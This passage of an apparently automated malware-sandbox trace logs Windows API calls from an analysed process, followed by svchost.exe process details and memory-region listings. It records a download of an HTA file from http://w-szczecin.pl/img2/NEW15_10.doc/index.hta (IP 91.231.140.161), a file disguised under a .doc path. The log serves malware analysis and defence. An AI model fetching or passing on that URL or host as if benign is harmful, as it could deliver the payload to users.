TranslateMessage (lpMsg=0x3bf764) returned 0 [0096.974] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0096.974] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0096.975] GetCurrentThreadId () returned 0x9c4 [0096.975] GetCurrentThreadId () returned 0x9c4 [0096.975] GetCurrentThreadId () returned 0x9c4 [0096.976] GetCurrentThreadId () returned 0x9c4 [0096.976] GetCurrentThreadId () returned 0x9c4 [0096.976] GetCurrentThreadId () returned 0x9c4 [0096.976] _CIatan2 () returned 0x20 [0096.976] _CIatan2 () returned 0x20 [0096.976] GetStockObject (i=8) returned 0x1b00016 [0096.976] SelectObject (hdc=0xf010972, h=0x1b00016) returned 0x1b00017 [0096.976] GetViewportOrgEx (in: hdc=0xf010972, lppoint=0x3bc164 | out: lppoint=0x3bc164) returned 1 [0098.844] GetCurrentThreadId () returned 0x9c4 [0098.844] GetCurrentThreadId () returned 0x9c4 [0098.845] GetCurrentThreadId () returned 0x9c4 [0098.846] GetCurrentThreadId () returned 0x9c4 [0098.846] GetCurrentThreadId () returned 0x9c4 [0098.846] GetCurrentThreadId () returned 0x9c4 [0098.851] GetCurrentThreadId () returned 0x9c4 [0098.851] GetCurrentThreadId () returned 0x9c4 [0098.851] GetCurrentThreadId () returned 0x9c4 [0098.851] GetCurrentThreadId () returned 0x9c4 [0098.851] GetCurrentThreadId () returned 0x9c4 [0098.851] GetCurrentThreadId () returned 0x9c4 [0098.853] GetCurrentThreadId () returned 0x9c4 [0098.853] GetCurrentThreadId () returned 0x9c4 [0098.853] GetCurrentThreadId () returned 0x9c4 [0098.853] GetCurrentThreadId () returned 0x9c4 [0098.854] GetCurrentThreadId () returned 0x9c4 [0098.854] GetCurrentThreadId () returned 0x9c4 [0098.855] GetCurrentThreadId () returned 0x9c4 [0098.855] GetCurrentThreadId () returned 0x9c4 [0098.855] GetCurrentThreadId () returned 0x9c4 [0098.856] GetCurrentThreadId () returned 0x9c4 [0098.856] GetCurrentThreadId () returned 0x9c4 [0098.856] GetCurrentThreadId () returned 0x9c4 [0098.946] GetCurrentThreadId () returned 0x9c4 [0098.946] GetCurrentThreadId () returned 0x9c4 [0098.946] GetCurrentThreadId () returned 0x9c4 [0099.296] GetCurrentThreadId () returned 0x9c4 [0099.296] GetCurrentThreadId () returned 0x9c4 [0099.296] GetCurrentThreadId () returned 0x9c4 [0099.296] GetCursorPos (in: lpPoint=0x3bf430 | out: lpPoint=0x3bf430*(x=801, y=498)) returned 1 [0099.296] ScreenToClient (in: hWnd=0x30228, lpPoint=0x3bf430 | out: lpPoint=0x3bf430) returned 1 [0099.296] GetKeyState (nVirtKey=16) returned 0 [0099.296] GetKeyState (nVirtKey=17) returned 0 [0099.296] GetKeyState (nVirtKey=18) returned 1 [0099.296] GetKeyState (nVirtKey=160) returned 0 [0099.296] GetKeyState (nVirtKey=162) returned 0 [0099.296] GetKeyState (nVirtKey=164) returned 1 [0099.296] GetCurrentThreadId () returned 0x9c4 [0099.296] GetCurrentThreadId () returned 0x9c4 [0099.296] IsWinEventHookInstalled (event=0x8005) returned 0 [0099.296] GetCurrentThreadId () returned 0x9c4 [0099.296] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0099.296] TranslateMessage (lpMsg=0x3bf764) returned 0 [0099.296] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0099.297] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0099.297] TranslateMessage (lpMsg=0x3bf764) returned 0 [0099.297] DispatchMessageW (lpMsg=0x3bf764) returned 0x0 [0099.297] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0099.297] KillTimer (hWnd=0x30228, uIDEvent=0x1000) returned 1 [0099.297] GetCurrentThreadId () returned 0x9c4 [0099.297] GetMessageW (in: lpMsg=0x3bf764, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3bf764) returned 1 [0099.297] TranslateMessage (lpMsg=0x3bf764) returned 0 [0099.297] DispatchMessageW (lpMsg=0x3bf764) [0099.297] GetCurrentThreadId () returned 0x9c4 [0099.297] GetCurrentThreadId () returned 0x9c4 [0099.297] GetCurrentThreadId () returned 0x9c4 [0099.297] GetKeyState (nVirtKey=16) returned 0 [0099.297] GetKeyState (nVirtKey=17) returned 0 [0099.297] GetKeyState (nVirtKey=18) returned 1 Thread: id = 13 os_tid = 0x9c8 Thread: id = 14 os_tid = 0x9cc [0032.153] GetCurrentThreadId () returned 0x9cc Thread: id = 15 os_tid = 0x9d0 [0032.186] GetCurrentThreadId () returned 0x9d0 Thread: id = 16 os_tid = 0x9d4 [0032.192] GetCurrentThreadId () returned 0x9d4 Thread: id = 17 os_tid = 0x9d8 [0032.220] GetCurrentThreadId () returned 0x9d8 [0032.509] IInternetProtocolSink:ReportProgress (This=0x7c85b4, ulStatusCode=0x20, szStatusText=0x0) returned 0x0 [0045.410] IInternetProtocolSink:ReportProgress (This=0x7c85b4, ulStatusCode=0x1, szStatusText="w-szczecin.pl") returned 0x0 [0045.410] GetCurrentThreadId () returned 0x9d8 [0045.410] PostMessageW (hWnd=0x30226, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0045.413] IInternetProtocolSink:ReportProgress (This=0x7c85b4, ulStatusCode=0x2, szStatusText="91.231.140.161") returned 0x0 [0045.413] GetCurrentThreadId () returned 0x9d8 [0045.466] IInternetProtocolSink:ReportProgress (This=0x7c85b4, ulStatusCode=0xb, szStatusText=0x0) returned 0x0 [0045.532] IInternetProtocolSink:ReportProgress (This=0x7c85b4, ulStatusCode=0x21, szStatusText=0x0) returned 0x0 [0045.543] IInternetProtocolSink:ReportProgress (This=0x7c85b4, ulStatusCode=0xe, szStatusText="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\index[1].hta") returned 0x0 [0045.543] GetCurrentProcessId () returned 0x9c0 [0045.543] IInternetProtocolSink:ReportData (This=0x7c85b4, grfBSCF=0x11, ulProgress=0x1, ulProgressMax=0x0) returned 0x0 [0045.543] IUnknown:QueryInterface (in: This=0x7c9bd0, riid=0x6f819460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x31cde50 | out: ppvObject=0x31cde50*=0x7c9bd4) returned 0x0 [0045.543] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0x1, pBuffer=0x31cee28*=0x0, pcbBuf=0x31cde58*=0x100, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31cee28*=0x76, pcbBuf=0x31cde58*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0045.543] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0xffff, pBuffer=0x31ce928*=0x78, pcbBuf=0x31cde58*=0x100, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31ce928*=0x76, pcbBuf=0x31cde58*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0045.543] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0x2e, pBuffer=0x31cf128*=0x0, pcbBuf=0x31cde38*=0x100, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31cf128*=0x76, pcbBuf=0x31cde38*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0045.543] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0x4000000b, pBuffer=0x31cde1c*=0x0, pcbBuf=0x31cde58*=0x10, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31cde1c*=0xe1, pcbBuf=0x31cde58*=0x10, pdwFlags=0x0, pdwReserved=0x0) returned 0x0 [0045.543] SystemTimeToFileTime (in: lpSystemTime=0x31cde1c, lpFileTime=0x7c8644 | out: lpFileTime=0x7c8644) returned 1 [0045.544] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0xffff, pBuffer=0x31cea28*=0x58, pcbBuf=0x31cde58*=0x400, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31cea28*=0x76, pcbBuf=0x31cde58*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0045.544] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0xffff, pBuffer=0x31cea28*=0x44, pcbBuf=0x31cde58*=0x400, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31cea28*=0x76, pcbBuf=0x31cde58*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0045.544] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0xffff, pBuffer=0x31cea28*=0x43, pcbBuf=0x31cde58*=0x400, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31cea28*=0x76, pcbBuf=0x31cde58*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0045.544] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0xffff, pBuffer=0x31cea28*=0x58, pcbBuf=0x31cde58*=0x400, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31cea28*=0x76, pcbBuf=0x31cde58*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0045.544] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0x20000013, pBuffer=0x7c8620*=0x0, pcbBuf=0x31cde58*=0x4, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x7c8620*=0xc8, pcbBuf=0x31cde58*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x0 [0045.544] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x7c9bd4, dwOption=0x12, pBuffer=0x31cf228*=0x0, pcbBuf=0x31cde30*=0xf, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x31cf228*=0x48, pcbBuf=0x31cde30*=0x8, pdwFlags=0x0, pdwReserved=0x0) returned 0x0 [0045.544] StrCmpICA (pszStr1="HTTP/1.0", pszStr2="HTTP/1.1") returned -1 [0045.544] IWinInetInfo:RemoteQueryOption (in: This=0x7c9bd4, dwOption=0x17, pBuffer=0x31cde40*=0x0, pcbBuf=0x31cde58*=0x4 | out: pBuffer=0x31cde40*=0x0, pcbBuf=0x31cde58*=0x4) returned 0x0 [0045.544] IWinInetInfo:RemoteQueryOption (in: This=0x7c9bd4, dwOption=0x1f, pBuffer=0x31cde40*=0x0, pcbBuf=0x31cde58*=0x4 | out: pBuffer=0x31cde40*=0x0, pcbBuf=0x31cde58*=0x4) returned 0x0 [0045.544] IWinInetInfo:RemoteQueryOption (in: This=0x7c9bd4, dwOption=0x42, pBuffer=0x31cde5c*=0xcc, pcbBuf=0x31cde54*=0x2cc | out: pBuffer=0x31cde5c*=0xcc, pcbBuf=0x31cde54*=0x2cc) returned 0x0 [0045.544] IWinInetInfo:RemoteQueryOption (in: This=0x7c9bd4, dwOption=0xfffe, pBuffer=0x7c8664*=0x0, pcbBuf=0x31cde58*=0x4 | out: pBuffer=0x7c8664*=0xb8, pcbBuf=0x31cde58*=0x4) returned 0x0 [0045.544] IUnknown:Release (This=0x7c9bd4) returned 0x5 [0045.544] GetCurrentThreadId () returned 0x9d8 [0045.545] GetCurrentThreadId () returned 0x9d8 [0045.545] GetCurrentThreadId () returned 0x9d8 [0045.545] MulDiv (nNumber=1, nNumerator=4000, nDenominator=1) returned 4000 [0045.545] PostMessageW (hWnd=0x30226, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0045.545] GetCurrentThreadId () returned 0x9d8 [0045.545] IInternetProtocol:Read (in: This=0x7c9bd0, pv=0x7fadfc, cb=0x2000, pcbRead=0x31cf21c | out: pv=0x7fadfc, pcbRead=0x31cf21c*=0xd74) returned 0x0 [0045.550] IInternetProtocol:Read (in: This=0x7c9bd0, pv=0x7fbb70, cb=0x128c, pcbRead=0x31cf21c | out: pv=0x7fbb70, pcbRead=0x31cf21c*=0x0) returned 0x1 [0045.557] IInternetProtocolSink:ReportData (This=0x7c85b4, grfBSCF=0x15, ulProgress=0xd74, ulProgressMax=0x0) returned 0x0 [0045.557] IInternetProtocolSink:ReportResult (This=0x7c85b4, hrResult=0x0, dwError=0x0, szResult=0x0) returned 0x0 [0045.557] CoInternetIsFeatureEnabledForUrl (FeatureEntry=0x3, dwFlags=0x2, szURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pSecMgr=0x0) returned 0x1 [0045.558] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x31cf090 | out: phkResult=0x31cf090*=0xa8) returned 0x0 [0045.558] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x31cf094 | out: phkResult=0x31cf094*=0x47c) returned 0x0 [0045.558] RegOpenKeyExW (in: hKey=0x47c, lpSubKey="FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE", ulOptions=0x0, samDesired=0x1, phkResult=0x31cf050 | out: phkResult=0x31cf050*=0x0) returned 0x2 [0045.558] RegOpenKeyExW (in: hKey=0xa8, lpSubKey="FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE", ulOptions=0x0, samDesired=0x1, phkResult=0x31cf050 | out: phkResult=0x31cf050*=0x0) returned 0x2 [0045.558] RegCloseKey (hKey=0x0) returned 0x6 [0045.558] RegCloseKey (hKey=0x0) returned 0x6 [0045.558] RegCloseKey (hKey=0xa8) returned 0x0 [0045.558] RegCloseKey (hKey=0x47c) returned 0x0 [0045.558] FindMimeFromData (in: pBC=0x0, pwzUrl="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\index[1].hta", pBuffer=0x31cf130, cbSize=0xc8, pwzMimeProposed="text/html", dwMimeFlags=0x6, ppwzMimeOut=0x31cf0e8, dwReserved=0x0 | out: ppwzMimeOut=0x31cf0e8*="text/html") returned 0x0 [0045.560] RegisterClipboardFormatA (lpszFormat="text/html") returned 0xc0dc [0045.560] RegisterClipboardFormatA (lpszFormat="text/plain") returned 0xc18d [0045.560] RegisterClipboardFormatA (lpszFormat="text/x-component") returned 0xc1b1 [0045.560] RegisterClipboardFormatA (lpszFormat="image/gif") returned 0xc197 [0045.560] RegisterClipboardFormatA (lpszFormat="image/jpeg") returned 0xc199 [0045.560] RegisterClipboardFormatA (lpszFormat="image/pjpeg") returned 0xc198 [0045.560] RegisterClipboardFormatA (lpszFormat="image/bmp") returned 0xc19d [0045.560] RegisterClipboardFormatA (lpszFormat="image/x-jg") returned 0xc19e [0045.560] RegisterClipboardFormatA (lpszFormat="image/x-art") returned 0xc19f [0045.560] RegisterClipboardFormatA (lpszFormat="image/x-wmf") returned 0xc1a1 [0045.560] RegisterClipboardFormatA (lpszFormat="image/x-emf") returned 0xc1a0 [0045.560] RegisterClipboardFormatA (lpszFormat="video/avi") returned 0xc1a3 [0045.560] RegisterClipboardFormatA (lpszFormat="video/x-msvideo") returned 0xc1a4 [0045.560] RegisterClipboardFormatA (lpszFormat="video/mpeg") returned 0xc1a5 [0045.560] RegisterClipboardFormatA (lpszFormat="video/quicktime") returned 0xc1b2 [0045.560] RegisterClipboardFormatA (lpszFormat="application/hta") returned 0xc1b3 [0045.560] RegisterClipboardFormatA (lpszFormat="image/x-png") returned 0xc19b [0045.560] RegisterClipboardFormatA (lpszFormat="image/png") returned 0xc19c [0045.560] RegisterClipboardFormatA (lpszFormat="image/x-icon") returned 0xc1a2 [0045.560] CoTaskMemFree (pv=0x7d4860) [0045.560] CoInternetIsFeatureEnabledForUrl (FeatureEntry=0x3, dwFlags=0x2, szURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pSecMgr=0x0) returned 0x1 [0045.560] StrCmpNIW (lpStr1="text/h", lpStr2="image/", nChar=6) returned 1 [0045.560] GetCurrentThreadId () returned 0x9d8 [0045.560] SetEvent (hEvent=0x160) returned 1 [0045.560] GetCurrentThreadId () returned 0x9d8 [0045.560] MulDiv (nNumber=3443, nNumerator=4000, nDenominator=3444) returned 3999 [0045.560] PostMessageW (hWnd=0x30226, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 Thread: id = 18 os_tid = 0x9dc [0032.316] GetCurrentThreadId () returned 0x9dc Thread: id = 19 os_tid = 0x9e4 [0032.419] GetCurrentThreadId () returned 0x9e4 Thread: id = 20 os_tid = 0x9e8 [0032.533] GetCurrentThreadId () returned 0x9e8 [0032.533] LoadLibraryW (lpLibFileName="mshtml.dll") returned 0x6f6a0000 [0032.533] CoInitialize (pvReserved=0x0) returned 0x0 [0032.533] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x927c0) returned 0x0 [0045.561] GetTickCount () returned 0x134b6 [0045.561] IInternetProtocolRoot:Terminate (This=0x7c9bd0, dwOptions=0x0) returned 0x0 [0045.561] IUnknown:Release (This=0x7c8578) returned 0x7 [0045.561] IUnknown:Release (This=0x7c8578) returned 0x6 [0045.561] IUnknown:Release (This=0x7c857c) returned 0x5 [0045.561] IUnknown:Release (This=0x7c8574) returned 0x4 [0045.561] IUnknown:Release (This=0x7c85b4) returned 0x3 [0045.561] IUnknown:Release (This=0x7c85b4) returned 0x2 [0045.561] GetCurrentThreadId () returned 0x9e8 [0045.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7ffe10, cbMultiByte=3444, lpWideCharStr=0x800e24, cchWideChar=3444 | out: lpWideCharStr="\n\n\n\n\n\n\n") returned 3444 [0045.562] PostMessageW (hWnd=0x30226, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0045.564] IUnknown:AddRef (This=0x7ac484) returned 0x11 [0045.564] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x302fca4 | out: lpCPInfo=0x302fca4) returned 1 [0045.564] IUnknown:AddRef (This=0x7b75b0) returned 0x4 [0045.565] IUnknown:AddRef (This=0x7ac484) returned 0x12 [0045.565] IUnknown:QueryInterface (in: This=0x7ac484, riid=0x6f85d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x302fcac | out: ppvObject=0x302fcac*=0x7ac484) returned 0x0 [0045.565] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.565] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.565] IUri:GetScheme (in: This=0x7ac484, pdwScheme=0x302fcb0 | out: pdwScheme=0x302fcb0*=0x2) returned 0x0 [0045.565] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.565] GetTickCount () returned 0x134c5 [0045.565] GetTickCount () returned 0x134c5 [0045.566] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x927c0) returned 0x0 [0045.972] GetTickCount () returned 0x1363c [0045.972] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x927c0) Thread: id = 21 os_tid = 0x9ec [0032.657] GetCurrentThreadId () returned 0x9ec Thread: id = 38 os_tid = 0xa20 [0045.415] GetCurrentThreadId () returned 0xa20 Thread: id = 39 os_tid = 0xa24 [0045.881] GetCurrentThreadId () returned 0xa24 [0045.968] GetCurrentThreadId () returned 0xa24 Thread: id = 75 os_tid = 0xae0 [0066.477] GetCurrentThreadId () returned 0xae0 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x25f65000" os_pid = "0x3ac" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x9c0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b00c" [0xc000000f], "LOCAL" [0x7] Region: id = 599 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 600 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 601 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 602 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 603 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 604 start_va = 0xc0000 end_va = 0x17ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 605 start_va = 0x180000 end_va = 0x181fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 606 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 607 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 608 start_va = 0x1b0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 609 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 610 start_va = 0x1d0000 end_va = 0x1e0fff entry_point = 0x1d0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 611 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 612 start_va = 0x270000 end_va = 0x273fff entry_point = 0x270000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 613 start_va = 0x280000 end_va = 0x281fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 614 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 615 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 616 start_va = 0x2e0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 617 start_va = 0x320000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 618 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 619 start_va = 0x520000 end_va = 0x6a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 620 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 621 start_va = 0x840000 end_va = 0xc32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 622 start_va = 0xc40000 end_va = 0xcbffff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 623 start_va = 0xd40000 end_va = 0xdbffff entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 624 start_va = 0xe10000 end_va = 0xe8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 625 start_va = 0xea0000 end_va = 0xf1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 626 start_va = 0xf20000 end_va = 0x11eefff entry_point = 0xf20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 627 start_va = 0x11f0000 end_va = 0x12effff entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 628 start_va = 0x1320000 end_va = 0x139ffff entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 629 start_va = 0x13f0000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 630 start_va = 0x14e0000 end_va = 0x155ffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 631 start_va = 0x1560000 end_va = 0x165ffff entry_point = 0x0 region_type = private name = "private_0x0000000001560000" filename = "" Region: id = 632 start_va = 0x1690000 end_va = 0x170ffff entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 633 start_va = 0x1750000 end_va = 0x17cffff entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 634 start_va = 0x17d0000 end_va = 0x184ffff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 635 start_va = 0x1860000 end_va = 0x18dffff entry_point = 0x0 region_type = private name = "private_0x0000000001860000" filename = "" Region: id = 636 start_va = 0x1910000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001910000" filename = "" Region: id = 637 start_va = 0x19a0000 end_va = 0x19affff entry_point = 0x0 region_type = private name = "private_0x00000000019a0000" filename = "" Region: id = 638 start_va = 0x19e0000 end_va = 0x1a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 639 start_va = 0x1ab0000 end_va = 0x1b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ab0000" filename = "" Region: id = 640 start_va = 0x1ba0000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 641 start_va = 0x1c20000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 642 start_va = 0x1d20000 end_va = 0x1ddffff entry_point = 0x1d20000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 643 start_va = 0x1e20000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 644 start_va = 0x1ea0000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 645 start_va = 0x1ed0000 end_va = 0x1f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 646 start_va = 0x1f50000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 647 start_va = 0x73fc0000 end_va = 0x73fc2fff entry_point = 0x73fc0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 648 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x774a0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 649 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x775a0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 650 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 651 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 652 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 653 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 654 start_va = 0xffd40000 end_va = 0xffd4afff entry_point = 0xffd40000 region_type = mapped_file name = 